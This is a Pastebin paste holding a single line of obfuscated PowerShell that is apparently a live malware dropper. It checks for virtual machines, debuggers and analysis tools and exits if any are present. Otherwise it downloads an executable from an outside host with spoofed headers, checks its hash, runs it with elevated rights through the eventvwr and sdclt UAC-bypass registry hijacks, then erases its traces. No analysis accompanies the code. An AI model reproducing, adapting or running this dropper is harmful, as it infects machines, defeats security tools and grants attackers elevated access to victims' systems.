James_inthe_box

Not emo

Oct 27th, 2017
457
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.79 KB | None | 0 0
  1. $oajekrj = 'HKLM:\HARDWARE\ACPI\DSDT';$oelkjawe = ls -Path $oajekrj;$uekaotr = 'HKLM:\HARDWARE\DESCRIPTION\System\BIOS';$jejikjasd = (gp -path $uekaotr).SystemFamily;$jejikjsad=ps;if ($oelkjawe -match 'PRLS|VBOX|AMIBI|PTLTD'){exit}elseif($jejikjasd -match 'vm|virt|vbox|bochs|qemu'){exit}elseif($jejikjsad -match 'prl_cc|prl_tools|vboxtray|vboxservice|vmusrvc|vmsrvc|vmtoolsd|ollydbg|immunity|dbg|debugger|detective|cff|signature|peinsider|pebrowsepro|idaq|systracer|sysmon|procexp|processhacker|procmon|regshot|regsnap|cregistry|regmon|filemon|sandboxie|ashsnap|livetuner|ui5guard'){exit}else{$oajekrjj = '67-f3-fe-5d-4e-a8-51-f4-07-5e-86-81-c7-5f-d5-51';$oelkjawee=Get-Random;$uekaotrr = $env:LOCALAPPDATA+'\'+$oelkjawee+'.exe';$uekaottrr = New-Object System.Net.WebClient;$uekaottrr.Headers.Add('User-Agent','Windows-RSS-Platform-4.22');$uekaottrr.Headers.Add('Accept-Language','AS');$uekaottrr.Headers.Add('Referer','https://github.com');$uekaottrr.DownloadFile('http://mitchbroderick.com/cLFTPS', $uekaotrr);$keolakwef = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider;$keolakweff = [System.BitConverter]::ToString($keolakwef.ComputeHash([System.IO.File]::ReadAllBytes($uekaotrr)));if ($keolakweff -match $oajekrjj){$keolakwweff=[System.Environment]::OSVersion.Version.Major;if($keolakwweff -match '6'){$keola = 'cmd.exe /c '+$uekaotrr;(REG ADD HKCU\Software\Classes\mscfile\shell\open\command /t REG_SZ /d $keola);saps eventvwr.exe;sleep 3;(REG DELETE HKCU\Software\Classes\mscfile /f);sleep 120;rd $uekaotrr}elseif($keolakwweff -match '10'){(REG ADD HKCU\Software\Classes\exefile\shell\runas\command /v IsolatedCommand /d $uekaotrr);saps sdclt.exe -ArgumentList '/kickoffelev';sleep 5;(REG DELETE HKCU\Software\Classes\exefile /f);sleep 120;rd $uekaotrr}else{rd $uekaotrr;exit}}else{rd $uekaotrr;exit}}
Advertisement
Add Comment
Please, Sign In to add comment